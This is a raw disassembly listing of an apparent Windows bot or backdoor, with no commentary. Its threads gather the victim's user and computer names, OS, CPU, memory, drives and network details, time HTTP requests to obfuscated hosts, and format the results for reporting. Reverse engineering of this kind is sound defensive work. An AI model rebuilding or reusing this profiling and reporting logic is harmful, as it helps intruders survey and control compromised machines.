		cmp	edx, esi
		ja	short loc_405F91
		jb	short loc_405F7B
		cmp	ecx, 1Eh
		jnb	short loc_405F81


loc_405F7B:				; CODE XREF: sub_405ECC+A8j
		push	19h
		mov	[ebp+var_4], esi
		pop	eax


loc_405F81:				; CODE XREF: sub_405ECC+ADj
		cmp	edx, esi
		ja	short loc_405F91
		jb	short loc_405F8C
		cmp	ecx, 0Ah
		jnb	short loc_405F91


loc_405F8C:				; CODE XREF: sub_405ECC+B9j
		xor	eax, eax
		mov	[ebp+var_4], esi


loc_405F91:				; CODE XREF: sub_405ECC+62j
					; sub_405ECC+73j ...
		sub	eax, ecx
		add	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405ECC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F9A	proc near		; CODE XREF: sub_409277+15Ap
					; sub_409918+2AFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, dword_412038
		push	1Fh
		push	esi
		push	7
		push	400h
		call	edi	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		mov	byte ptr [esi+3], 0
		neg	eax
		mov	[ebp+arg_0], eax
		jz	short loc_405FD9
		push	offset off_414108
		push	esi
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405FD9
		push	1
		pop	eax
		jmp	short loc_405FEF
; ---------------------------------------------------------------------------


loc_405FD9:				; CODE XREF: sub_405F9A+27j
					; sub_405F9A+38j
		push	1Fh
		push	esi
		push	7
		push	800h
		call	edi	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		and	byte ptr [esi+3], 0


loc_405FEF:				; CODE XREF: sub_405F9A+3Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_405F9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FF3	proc near		; DATA XREF: sub_4062CF+29o

var_72C		= byte ptr -72Ch
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_105		= byte ptr -105h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_50		= byte ptr -50h
var_38		= byte ptr -38h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 72Ch
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		lea	eax, [ebp+var_70]
		push	eax
		call	dword_41207C	; GlobalMemoryStatus
		mov	eax, [ebp+var_68]
		lea	esi, [eax+100000h]
		mov	eax, [ebp+var_64]
		add	eax, 100000h
		shr	eax, 14h
		shr	esi, 14h
		mov	[ebp+var_24], eax
		call	sub_406AB7
		mov	ecx, 15180h
		xor	edx, edx
		mov	ebx, ecx
		mov	edi, eax
		div	ebx
		xor	edx, edx
		push	3Ch
		mov	[ebp+var_8], 15h
		mov	[ebp+var_C], 10h
		mov	[ebp+var_18], eax
		mov	eax, edi
		div	ecx
		mov	ecx, 0E10h
		mov	ebx, ecx
		mov	edi, edx
		xor	edx, edx
		mov	eax, edi
		div	ebx
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	eax, edi
		div	ecx
		pop	ecx
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	dword_412018	; GetUserNameA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_412030	; GetComputerNameA
		push	24h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_100]
		mov	[ebp+var_104], 94h
		rep stosd
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_412034	; GetVersionExA
		cmp	[ebp+var_100], 4
		mov	edi, offset a?	; "?"
		mov	[ebp+var_1C], offset aNoSp ; "no SP"
		jnz	short loc_40612B
		cmp	[ebp+var_FC], 0
		jnz	short loc_40610B
		cmp	[ebp+var_F4], 1
		jnz	short loc_4060FB
		mov	edi, offset a95	; "95"


loc_4060FB:				; CODE XREF: sub_405FF3+101j
		cmp	[ebp+var_F4], 2
		jnz	short loc_40617D
		mov	edi, offset aNt	; "NT"
		jmp	short loc_40616B
; ---------------------------------------------------------------------------


loc_40610B:				; CODE XREF: sub_405FF3+F8j
		cmp	[ebp+var_FC], 0Ah
		jnz	short loc_40611B
		mov	edi, offset a98	; "98"
		jmp	short loc_406162
; ---------------------------------------------------------------------------


loc_40611B:				; CODE XREF: sub_405FF3+11Fj
		cmp	[ebp+var_FC], 5Ah
		jnz	short loc_406162
		mov	edi, offset aMe	; "ME"
		jmp	short loc_406162
; ---------------------------------------------------------------------------


loc_40612B:				; CODE XREF: sub_405FF3+EFj
		cmp	[ebp+var_100], 5
		jnz	short loc_406162
		cmp	[ebp+var_FC], 0
		jnz	short loc_406144
		mov	edi, offset a2000 ; "2000"
		jmp	short loc_406162
; ---------------------------------------------------------------------------


loc_406144:				; CODE XREF: sub_405FF3+148j
		cmp	[ebp+var_FC], 1
		jnz	short loc_406154
		mov	edi, offset aXp	; "XP"
		jmp	short loc_406162
; ---------------------------------------------------------------------------


loc_406154:				; CODE XREF: sub_405FF3+158j
		cmp	[ebp+var_FC], 2
		jnz	short loc_406162
		mov	edi, offset a2003 ; "2003"


loc_406162:				; CODE XREF: sub_405FF3+126j
					; sub_405FF3+12Fj ...
		cmp	[ebp+var_F4], 2
		jnz	short loc_40617D


loc_40616B:				; CODE XREF: sub_405FF3+116j
		cmp	[ebp+var_F0], 0
		jz	short loc_40617D
		lea	eax, [ebp+var_F0]
		mov	[ebp+var_1C], eax


loc_40617D:				; CODE XREF: sub_405FF3+10Fj
					; sub_405FF3+176j ...
		call	sub_40338B
		test	eax, eax
		mov	[ebp+var_14], offset aYes ; "Yes"
		jnz	short loc_406194
		mov	[ebp+var_14], offset aNo ; "No"


loc_406194:				; CODE XREF: sub_405FF3+198j
		and	[ebp+var_178], 0
		and	[ebp+var_105], 0
		xor	eax, eax
		cpuid
		mov	[ebp+var_184], ebx
		mov	[ebp+var_180], edx
		mov	[ebp+var_17C], ecx
		lea	eax, [ebp+var_4]
		xor	ebx, ebx
		push	eax
		push	20019h
		push	ebx
		push	offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		push	80000002h
		mov	[ebp+var_4], ebx
		call	dword_412000	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_406223
		lea	eax, [ebp+var_28]
		mov	[ebp+var_20], ebx
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		push	offset aProcessornames ; "ProcessorNameString"
		mov	[ebp+var_28], 80h
		push	[ebp+var_4]
		call	dword_41200C	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_40621A
		push	1
		lea	eax, [ebp+var_184]
		push	1
		push	eax
		call	sub_405AD6
		add	esp, 0Ch


loc_40621A:				; CODE XREF: sub_405FF3+212j
		push	[ebp+var_4]
		call	dword_412028	; RegCloseKey


loc_406223:				; CODE XREF: sub_405FF3+1E6j
		cmp	[ebp+arg_0], 1
		mov	ecx, offset byte_4191D0
		mov	eax, offset dword_4141FC
		mov	ebx, ecx
		jz	short loc_406237
		mov	ebx, eax


loc_406237:				; CODE XREF: sub_405FF3+240j
		cmp	[ebp+var_10], 1
		mov	edx, ecx
		jz	short loc_406241
		mov	edx, eax


loc_406241:				; CODE XREF: sub_405FF3+24Aj
		cmp	[ebp+var_18], 1
		jnz	short loc_406249
		mov	eax, ecx


loc_406249:				; CODE XREF: sub_405FF3+252j
		lea	ecx, [ebp+var_50]
		push	ecx
		lea	ecx, [ebp+var_38]
		push	ecx
		push	ebx
		push	[ebp+arg_0]
		push	edx
		push	[ebp+var_10]
		push	eax
		push	[ebp+var_18]
		push	[ebp+var_14]
		push	esi
		push	[ebp+var_24]
		call	sub_405ECC
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_72C]
		push	[ebp+var_F8]
		push	[ebp+var_FC]
		push	[ebp+var_100]
		push	[ebp+var_1C]
		push	edi
		push	offset dword_41410C
		push	400h
		push	eax
		call	sub_41152E	; _snprintf
		add	esp, 54h
		lea	eax, [ebp+var_72C]
		push	eax
		lea	eax, [ebp+var_328]
		push	offset dword_413B6C
		push	eax
		call	sub_4096CB
		push	[ebp+var_32C]
		call	sub_406E6F
		add	esp, 10h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405FF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4062CF	proc near		; CODE XREF: sub_407A76+125Dp

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_406305
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aSysinfoThread ;	"Sysinfo thread"
		push	0
		push	esi
		push	offset sub_405FF3
		call	sub_406D58
		add	esp, 10h


loc_406305:				; CODE XREF: sub_4062CF+10j
		pop	esi
		retn
sub_4062CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406307	proc near		; CODE XREF: sub_406373+Ap
					; sub_406373+18p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40B5E1
		call	sub_4114E2	; clock
		mov	edi, eax
		push	7D0h
		push	0
		lea	eax, [ebp+var_20]
		push	offset a80	; "80"
		push	eax
		call	sub_403C04
		mov	esi, eax
		push	esi
		call	sub_403D92
		add	esp, 20h
		test	esi, esi
		jnz	short loc_406356
		mov	eax, 3E8h
		jmp	short loc_40636F
; ---------------------------------------------------------------------------


loc_406356:				; CODE XREF: sub_406307+46j
		call	sub_4114E2	; clock
		mov	ecx, eax
		mov	eax, 3E8h
		sub	ecx, edi
		cmp	ecx, eax
		jnb	short loc_40636F
		call	sub_4114E2	; clock
		sub	eax, edi


loc_40636F:				; CODE XREF: sub_406307+4Dj
					; sub_406307+5Fj
		pop	edi
		pop	esi
		leave
		retn
sub_406307	endp


; =============== S U B	R O U T	I N E =======================================



sub_406373	proc near		; CODE XREF: sub_40656A:loc_4066A5p
					; sub_408E1A+15Cp ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset dword_413F68
		call	sub_406307
		mov	esi, eax
		mov	[esp+18h+var_18], offset aIQBgEFSsoR ; "©¹ïÕ¡ƒÌ…ØäœééŽË"
		call	sub_406307
		mov	edi, eax
		mov	[esp+18h+var_18], offset dword_413F8C
		call	sub_406307
		mov	ebx, eax
		mov	[esp+18h+var_18], offset dword_413F98
		call	sub_406307
		mov	ebp, eax
		mov	[esp+18h+var_18], offset dword_413FA8
		call	sub_406307
		mov	[esp+18h+var_4], eax
		mov	[esp+18h+var_18], offset dword_413FB8
		call	sub_406307
		add	eax, [esp+18h+var_4]
		pop	ecx
		push	6
		xor	edx, edx
		add	eax, ebp
		pop	ecx
		add	eax, ebx
		add	eax, edi
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		div	ecx
		pop	ecx
		retn
sub_406373	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063E4	proc near		; CODE XREF: sub_40656A:loc_4066CAp

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		xor	ebx, ebx
		xor	eax, eax
		cmp	off_413FCC, ebx
		push	esi
		push	edi
		jz	short loc_406409
		mov	ecx, offset off_413FCC


loc_406401:				; CODE XREF: sub_4063E4+23j
		add	ecx, 4
		inc	eax
		cmp	[ecx], ebx
		jnz	short loc_406401


loc_406409:				; CODE XREF: sub_4063E4+16j
		shr	eax, 1
		mov	[ebp+var_4], ebx
		lea	edi, [eax-1]
		jmp	short loc_406415
; ---------------------------------------------------------------------------


loc_406413:				; CODE XREF: sub_4063E4+A0j
		xor	ebx, ebx


loc_406415:				; CODE XREF: sub_4063E4+2Dj
		push	edi
		push	ebx
		call	sub_40B459
		mov	esi, eax
		lea	eax, [ebp+var_114]
		shl	esi, 3
		push	off_413FCC[esi]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_40B5E1
		push	off_413FD0[esi]
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B5E1
		push	2710h
		push	ebx
		lea	eax, [ebp+var_114]
		push	offset a80	; "80"
		push	eax
		call	sub_403C04
		mov	ebx, eax
		add	esp, 30h
		test	ebx, ebx
		jnz	short loc_40648B
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3
		jb	short loc_406413


loc_406486:				; CODE XREF: sub_4063E4+181j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40648B:				; CODE XREF: sub_4063E4+97j
		lea	eax, [ebp+var_114]
		mov	esi, 200h
		push	eax
		lea	eax, [ebp+var_214]
		push	eax
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		lea	eax, [ebp+var_414]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		push	ebx
		call	sub_403D9D
		add	esp, 24h
		call	sub_4114E2	; clock
		and	[ebp+var_4], 0
		mov	dword ptr [ebp+var_14+4], eax
		mov	edi, 1388h


loc_4064DE:				; CODE XREF: sub_4063E4+134j
					; sub_4063E4+147j
		push	edi
		lea	eax, [ebp+var_414]
		push	esi
		push	eax
		push	ebx
		call	sub_403DF6
		add	esp, 10h
		mov	dword ptr [ebp+var_C+4], eax
		test	eax, eax
		jz	short loc_40651A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40651A
		call	sub_4114E2	; clock
		sub	eax, dword ptr [ebp+var_14+4]
		cmp	eax, edi
		jnb	short loc_40651A
		mov	eax, [ebp+var_4]
		cmp	eax, 100000h
		jnb	short loc_40651A
		add	eax, dword ptr [ebp+var_C+4]
		mov	[ebp+var_4], eax
		jmp	short loc_4064DE
; ---------------------------------------------------------------------------


loc_40651A:				; CODE XREF: sub_4063E4+111j
					; sub_4063E4+116j ...
		mov	eax, [ebp+var_4]
		cmp	eax, 2000h
		jnb	short loc_40652D
		push	ebx
		call	sub_403D70
		pop	ecx
		jmp	short loc_4064DE
; ---------------------------------------------------------------------------


loc_40652D:				; CODE XREF: sub_4063E4+13Ej
		and	dword ptr [ebp+var_C+4], 0
		mov	dword ptr [ebp+var_C], eax
		fild	[ebp+var_C]
		fstp	dword ptr [ebp+var_C+4]
		call	sub_4114E2	; clock
		sub	eax, dword ptr [ebp+var_14+4]
		and	dword ptr [ebp+var_14+4], 0
		mov	dword ptr [ebp+var_14],	eax
		fild	[ebp+var_14]
		fmul	flt_412280
		fdivr	dword ptr [ebp+var_C+4]
		call	sub_411678	; _ftol
		push	ebx
		mov	esi, eax
		call	sub_403D70
		pop	ecx
		mov	eax, esi
		jmp	loc_406486
sub_4063E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40656A	proc near		; DATA XREF: sub_40677A+29o

var_A80		= qword	ptr -0A80h
var_A54		= byte ptr -0A54h
var_654		= byte ptr -654h
var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_A8		= byte ptr -0A8h
var_28		= byte ptr -28h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A54h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		mov	esi, offset dword_41A2E8
		lea	eax, [ebp+var_654]
		push	esi
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 18h
		lea	eax, [ebp+var_C]
		xor	edi, edi
		push	eax
		push	edi
		push	edi
		push	esi
		call	dword_419224	; getaddrinfo
		test	eax, eax
		jnz	short loc_4065E2
		push	1
		push	edi
		push	edi
		lea	eax, [ebp+var_654]
		push	401h
		push	eax
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+18h]
		call	dword_419228	; getnameinfo
		push	[ebp+var_C]
		call	dword_41922C	; freeaddrinfo


loc_4065E2:				; CODE XREF: sub_40656A+4Ej
		call	sub_406B29
		mov	ecx, 15180h
		xor	edx, edx
		mov	ebx, ecx
		mov	esi, eax
		div	ebx
		xor	edx, edx
		push	3Ch
		mov	dword ptr [ebp+var_8+4], eax
		mov	eax, esi
		div	ecx
		mov	ecx, 0E10h
		mov	ebx, ecx
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebx
		xor	edx, edx
		mov	[ebp+var_14], eax
		mov	eax, esi
		div	ecx
		pop	ecx
		mov	esi, offset aUnknown_0 ; "Unknown"
		push	esi
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_A8]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_28]
		push	esi
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	eax, dword_41921C
		add	esp, 10h
		cmp	eax, edi
		jz	short loc_40667D
		push	edi
		lea	ecx, [ebp+var_A8]
		push	80h
		push	ecx
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	eax	; InternetGetConnectedStateEx
		test	eax, eax
		jz	short loc_40667D
		test	[ebp+var_1C], 1
		jz	short loc_40666D
		push	offset aModem	; "Modem"
		jmp	short loc_406672
; ---------------------------------------------------------------------------


loc_40666D:				; CODE XREF: sub_40656A+FAj
		push	offset aLan	; "LAN"


loc_406672:				; CODE XREF: sub_40656A+101j
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_40667D:				; CODE XREF: sub_40656A+DDj
					; sub_40656A+F4j
		call	sub_4033F9
		mov	edi, offset aYes ; "Yes"
		mov	esi, offset aNo	; "No"
		test	eax, eax
		mov	[ebp+var_18], edi
		jnz	short loc_406696
		mov	[ebp+var_18], esi


loc_406696:				; CODE XREF: sub_40656A+127j
		call	sub_4032D2
		test	eax, eax
		mov	[ebp+var_10], edi
		jnz	short loc_4066A5
		mov	[ebp+var_10], esi


loc_4066A5:				; CODE XREF: sub_40656A+136j
		call	sub_406373
		cmp	eax, 2EEh
		mov	[ebp+var_20], eax
		mov	ebx, offset aBad ; "Bad"
		jnb	short loc_4066BE
		mov	ebx, offset aAvarage ; "Avarage"


loc_4066BE:				; CODE XREF: sub_40656A+14Dj
		cmp	eax, 1F4h
		jnb	short loc_4066CA
		mov	ebx, offset aGood ; "Good"


loc_4066CA:				; CODE XREF: sub_40656A+159j
		call	sub_4063E4
		cmp	[ebp+arg_0], 1
		mov	edx, offset byte_4191D0
		mov	ecx, offset dword_4141FC
		mov	edi, edx
		jz	short loc_4066E3
		mov	edi, ecx


loc_4066E3:				; CODE XREF: sub_40656A+175j
		cmp	[ebp+var_14], 1
		mov	esi, edx
		jz	short loc_4066ED
		mov	esi, ecx


loc_4066ED:				; CODE XREF: sub_40656A+17Fj
		cmp	dword ptr [ebp+var_8+4], 1
		jnz	short loc_4066F5
		mov	ecx, edx


loc_4066F5:				; CODE XREF: sub_40656A+187j
		push	edi
		mov	dword ptr [ebp+var_8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_28]
		push	esi
		push	[ebp+var_14]
		push	ecx
		push	dword ptr [ebp+var_8+4]
		and	dword ptr [ebp+var_8+4], 0
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		fmul	flt_412284
		fstp	[esp+0A80h+var_A80]
		push	[ebp+var_20]
		push	ebx
		push	[ebp+var_10]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A8]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		push	offset dword_41428C
		lea	eax, [ebp+var_A54]
		push	400h
		push	eax
		call	sub_41152E	; _snprintf
		add	esp, 48h
		lea	eax, [ebp+var_A54]
		push	eax
		lea	eax, [ebp+var_24C]
		push	offset dword_413B6C
		push	eax
		call	sub_4096CB
		push	[ebp+var_250]
		call	sub_406E6F
		add	esp, 10h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40656A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40677A	proc near		; CODE XREF: sub_407A76+124Cp

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4067B0
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aNetinfoThread ;	"Netinfo thread"
		push	0
		push	esi
		push	offset sub_40656A
		call	sub_406D58
		add	esp, 10h


loc_4067B0:				; CODE XREF: sub_40677A+10j
		pop	esi
		retn
sub_40677A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4067B2	proc near		; CODE XREF: sub_408E1A+141p
					; sub_408E1A+213p ...

var_1C		= byte ptr -1Ch
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_4143A0
		push	esi
		mov	[ebp+var_4], eax
		xor	esi, esi


loc_4067C3:				; CODE XREF: sub_4067B2+73j
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_4120D0	; GetDriveTypeA
		test	eax, eax
		jz	short loc_40681E
		cmp	eax, 1
		jz	short loc_40681E
		cmp	eax, 5
		jz	short loc_4067F8
		cmp	eax, 2
		jz	short loc_4067F8
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_4120CC	; GetDiskFreeSpaceExA
		jmp	short loc_406808
; ---------------------------------------------------------------------------


loc_4067F8:				; CODE XREF: sub_4067B2+27j
					; sub_4067B2+2Cj
		push	8
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch


loc_406808:				; CODE XREF: sub_4067B2+44j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_8]
		push	14h
		pop	ecx
		call	sub_411680
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		add	esi, eax


loc_40681E:				; CODE XREF: sub_4067B2+1Dj
					; sub_4067B2+22j
		inc	byte ptr [ebp+var_4]
		cmp	byte ptr [ebp+var_4], 5Ah
		jnz	short loc_4067C3
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4067B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40682C	proc near		; DATA XREF: sub_406A08+29o

var_5C8		= dword	ptr -5C8h
var_5C4		= byte ptr -5C4h
var_420		= byte ptr -420h
var_40B		= byte ptr -40Bh
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5C8h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5C8]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		mov	esi, offset aDriveInformati ; "Drive information - "
		lea	edi, [ebp+var_420]
		xor	eax, eax
		push	5
		xor	ebx, ebx
		pop	ecx
		mov	[ebp+arg_0], ebx
		rep movsd
		movsb
		mov	ecx, 0FAh
		lea	edi, [ebp+var_40B]
		rep stosd
		mov	esi, dword_4121EC
		mov	[ebp+var_10], 1
		stosw
		stosb
		mov	eax, dword_4143A0
		mov	[ebp+var_4], eax


loc_406894:				; CODE XREF: sub_40682C+172j
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_4120D0	; GetDriveTypeA
		test	eax, eax
		jz	loc_406997
		cmp	eax, 1
		jz	loc_406997
		cmp	eax, 2
		jnz	short loc_4068F8
		mov	edi, offset aRemovable ; "removable"


loc_4068B9:				; CODE XREF: sub_40682C+EEj
		push	8
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch


loc_4068C9:				; CODE XREF: sub_40682C+115j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_8]
		push	14h
		pop	ecx
		call	sub_411680
		cmp	[ebp+var_10], 0
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		jnz	short loc_406943
		lea	eax, [ebp+var_420]
		push	offset a_	; ". "
		push	eax
		call	sub_4114EE	; _mbscat
		pop	ecx
		pop	ecx
		jmp	short loc_406947
; ---------------------------------------------------------------------------


loc_4068F8:				; CODE XREF: sub_40682C+86j
		cmp	eax, 3
		jnz	short loc_406904
		mov	edi, offset aFixed ; "fixed"
		jmp	short loc_40692B
; ---------------------------------------------------------------------------


loc_406904:				; CODE XREF: sub_40682C+CFj
		cmp	eax, 4
		jnz	short loc_406910
		mov	edi, offset aRemote ; "remote"
		jmp	short loc_40692B
; ---------------------------------------------------------------------------


loc_406910:				; CODE XREF: sub_40682C+DBj
		cmp	eax, 5
		jnz	short loc_40691C
		mov	edi, offset aCdRom ; "cd-rom"
		jmp	short loc_4068B9
; ---------------------------------------------------------------------------


loc_40691C:				; CODE XREF: sub_40682C+E7j
		cmp	eax, 6
		mov	edi, offset aRamdisk ; "ramdisk"
		jz	short loc_40692B
		mov	edi, offset aUnknown ; "unknown"


loc_40692B:				; CODE XREF: sub_40682C+D6j
					; sub_40682C+E2j ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_4120CC	; GetDiskFreeSpaceExA
		jmp	short loc_4068C9
; ---------------------------------------------------------------------------


loc_406943:				; CODE XREF: sub_40682C+B5j
		and	[ebp+var_10], 0


loc_406947:				; CODE XREF: sub_40682C+CAj
		mov	eax, [ebp+var_C]
		or	eax, [ebp+var_8]
		jz	short loc_406974
		push	[ebp+var_8]
		lea	eax, [ebp+var_4]
		push	[ebp+var_C]
		push	edi
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_420]
		push	offset dword_4143EC
		push	eax
		call	esi	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_406991
; ---------------------------------------------------------------------------


loc_406974:				; CODE XREF: sub_40682C+121j
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_420]
		push	offset dword_4143DC
		push	eax
		call	esi	; wsprintfA
		add	esp, 14h


loc_406991:				; CODE XREF: sub_40682C+146j
		add	ebx, [ebp+var_C]
		inc	[ebp+arg_0]


loc_406997:				; CODE XREF: sub_40682C+74j
					; sub_40682C+7Dj
		inc	byte ptr [ebp+var_4]
		cmp	byte ptr [ebp+var_4], 5Ah
		jnz	loc_406894
		cmp	[ebp+arg_0], 0
		jz	short loc_4069BD
		lea	eax, [ebp+var_420]
		push	offset a_	; ". "
		push	eax
		call	sub_4114EE	; _mbscat
		pop	ecx
		pop	ecx


loc_4069BD:				; CODE XREF: sub_40682C+17Cj
		push	ebx
		lea	eax, [ebp+var_420]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_420]
		push	offset dword_4143A4
		push	eax
		call	esi	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	offset dword_413B6C
		push	eax
		call	sub_4096CB
		push	[ebp+var_5C8]
		call	sub_406E6F
		add	esp, 10h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40682C	endp


